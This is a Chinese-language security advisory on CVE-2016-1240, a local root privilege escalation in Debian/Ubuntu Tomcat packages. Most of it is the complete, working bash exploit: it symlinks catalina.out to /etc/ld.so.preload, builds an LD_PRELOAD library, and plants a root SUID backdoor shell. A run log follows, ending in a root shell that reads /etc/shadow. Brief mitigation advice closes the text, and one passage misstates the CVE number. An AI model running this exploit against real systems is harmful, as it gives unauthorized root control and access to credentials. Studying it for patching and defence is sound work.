Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器，按照Sun Microsystems提供的技术规范，实现了对Servlet和JavaServer Page（JSP）的支持，并提供了作为Web服务器的一些特有功能，如Tomcat管理和控制平台、安全域管理和Tomcat阀等。

10月1日,Tomcat爆出了一个本地提权漏洞。通过该漏洞,攻击者可以通过一个低权限的Tomcat用户获得系统的root权限。

漏洞相关信息：

CVE ID:

CVE-2016-1240

影响范围：

Tomcat 8 <= 8.0.36-2

Tomcat 7 <= 7.0.70-2

Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

受影响的系统包括Debian、Ubuntu，其他使用相应deb包的系统也可能受到影响。

漏洞描述：

Debian系统的linux上管理员通常利用apt-get进行包管理，CVE-2016-4438这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本：/etc/init.d/tocat* 利用该脚本，可导致攻击者通过低权限的Tomcat用户获得系统root权限！

# Run the catalina.sh script as a daemon

set +e

touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

本地攻击者，作为tomcat用户（比如说，通过web应用的漏洞）若将catalina.out修改为指向任意系统文件的链接，一旦Tomcat init脚本（ROOT权限运行）在服务重启后再次打开catalina.out文件，攻击者就可获取ROOT权限。

漏洞PoC： #!/bin/bash

#

# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit

#

# CVE-2016-1240

#

# Discovered and coded by:

#

# Dawid Golunski

# http://legalhackers.com

#

# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 

# Debian-based distros including Debian, Ubuntu etc.

# It allows attackers with a tomcat shell (e.g. obtained remotely through a 

# vulnerable java webapp, or locally via weak permissions on webapps in the 

# Tomcat webroot directories etc.) to escalate their privileges to root.

#

# Usage:

# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]

#

# The exploit can used in two ways:

#

# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly

# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 

# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up

# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)

#

# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 

# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 

# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 

# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can

# then add arbitrary commands to the file which will be executed with root privileges by 

# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 

# Ubuntu/Debian Tomcat installations).

#

# See full advisory for details at:

# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html

#

# Disclaimer:

# For testing purposes only. Do no harm.

#

BACKDOORSH="/bin/bash"

BACKDOORPATH="/tmp/tomcatrootsh"

PRIVESCLIB="/tmp/privesclib.so"

PRIVESCSRC="/tmp/privesclib.c"

SUIDBIN="/usr/bin/sudo"

function cleanexit {

# Cleanup 

echo -e "\n[+] Cleaning up..."

rm -f $PRIVESCSRC

rm -f $PRIVESCLIB

rm -f $TOMCATLOG

touch $TOMCATLOG

if [ -f /etc/ld.so.preload ]; then

echo -n > /etc/ld.so.preload 2>/dev/null

fi

echo -e "\n[+] Job done. Exiting with code $1 \n"

exit $1

}

function ctrl_c() {

echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."

cleanexit 0

}

#intro 

echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"

echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args

if [ $# -lt 1 ]; then

echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"

exit 3

fi

if [ "$2" = "-deferred" ]; then

mode="deferred"

else

mode="active"

fi

# Priv check

echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"

id | grep -q tomcat

if [ $? -ne 0 ]; then

echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"

exit 3

fi

# Set target paths

TOMCATLOG="$1"

if [ ! -f $TOMCATLOG ]; then

echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"

exit 3

fi

echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default

# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.

# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been

# restarted and file owner gets changed.

if [ "$mode" = "deferred" ]; then

rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG

if [ $? -ne 0 ]; then

echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."

cleanexit 3

fi

echo -e"\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

echo -e"\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"

echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"

echo -ne "\n you'll be able to add arbitrary commands to the file which will get executed with root privileges"

echo -ne "\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)

\n\n"

exit 0

fi

# [ Active exploitation ]

trap ctrl_c INT

# Compile privesc preload library

echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"

cat <<_solibeof_>$PRIVESCSRC

#define _GNU_SOURCE

#include <stdio.h>

#include <sys/stat.h>

#include <unistd.h>

#include <dlfcn.h>

uid_t geteuid(void) {

static uid_t(*old_geteuid)();

old_geteuid = dlsym(RTLD_NEXT, "geteuid");

if ( old_geteuid() == 0 ) {

chown("$BACKDOORPATH", 0, 0);

chmod("$BACKDOORPATH", 04777);

unlink("/etc/ld.so.preload");

}

return old_geteuid();

}

_solibeof_

gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl

if [ $? -ne 0 ]; then

echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."

cleanexit 2;

fi

# Prepare backdoor shell

cp $BACKDOORSH $BACKDOORPATH

echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check

if [ -f /etc/ld.so.preload ]; then

echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."

cleanexit 2

fi

# Symlink the log file to ld.so.preload

rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG

if [ $? -ne 0 ]; then

echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."

cleanexit 3

fi

echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs

echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."

echo -e"\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)

"

while :; do 

sleep 0.1

if [ -f /etc/ld.so.preload ]; then

echo $PRIVESCLIB > /etc/ld.so.preload

break;

fi

done

# /etc/ld.so.preload file should be owned by tomcat user at this point

# Inject the privesc.so shared library to escalate privileges

echo $PRIVESCLIB > /etc/ld.so.preload

echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"

echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"

echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)

echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"

sudo --help 2>/dev/null >/dev/null

# Check for the rootshell

ls -l $BACKDOORPATH | grep rws | grep -q root

if [ $? -eq 0 ]; then 

echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"

echo -e "\n\033[94mPlease tell me you're seeing this too ;)

\033[0m"

else

echo -e "\n[!] Failed to get root"

cleanexit 2

fi

# Execute the rootshell

echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"

$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"

$BACKDOORPATH -p

# Job done.

cleanexit 0 Poc运行示例： tomcat7@ubuntu:/tmp$ id

uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

tomcat7@ubuntu:/tmp$ lsb_release -a

No LSB modules are available.

Distributor ID: Ubuntu

Description: Ubuntu 16.04 LTS

Release: 16.04

Codename: xenial

tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat

iilibtomcat7-java 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- core libraries

iitomcat7 7.0.68-1ubuntu0.1 all Servlet and JSP engine

iitomcat7-common 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- common files

tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out 

Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit

CVE-2016-1240

Discovered and coded by: 

Dawid Golunski 

http://legalhackers.com

[+] Starting the exploit in [active] mode with the following privileges: 

uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at: 

-rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh

[+] Symlink created at: 

lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload

[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...

You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)

[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: 

-rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains: 

/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!

[+] Rootshell got assigned root SUID perms at: 

-rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh

Please tell me you're seeing this too ;)

[+] Executing the rootshell /tmp/tomcatrootsh now! 

tomcatrootsh-4.3# id

uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)

tomcatrootsh-4.3# whoami

root

tomcatrootsh-4.3# head -n3 /etc/shadow

root:$6$oaf[cut]:16912:0:99999:7:::

daemon:*:16912:0:99999:7:::

bin:*:16912:0:99999:7:::

tomcatrootsh-4.3# exit

应急修复方案：

1.临时修复建议

如对更新包风险的考虑,可先更改Tomcat的启动脚本为 chown -h $TOMCAT6_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

加入 - h参数防止其他文件所有者被更改。

2. 更新最新Tomcat包

更新至系统提供的最新版Tomcat包即可。

稿源：孝道科技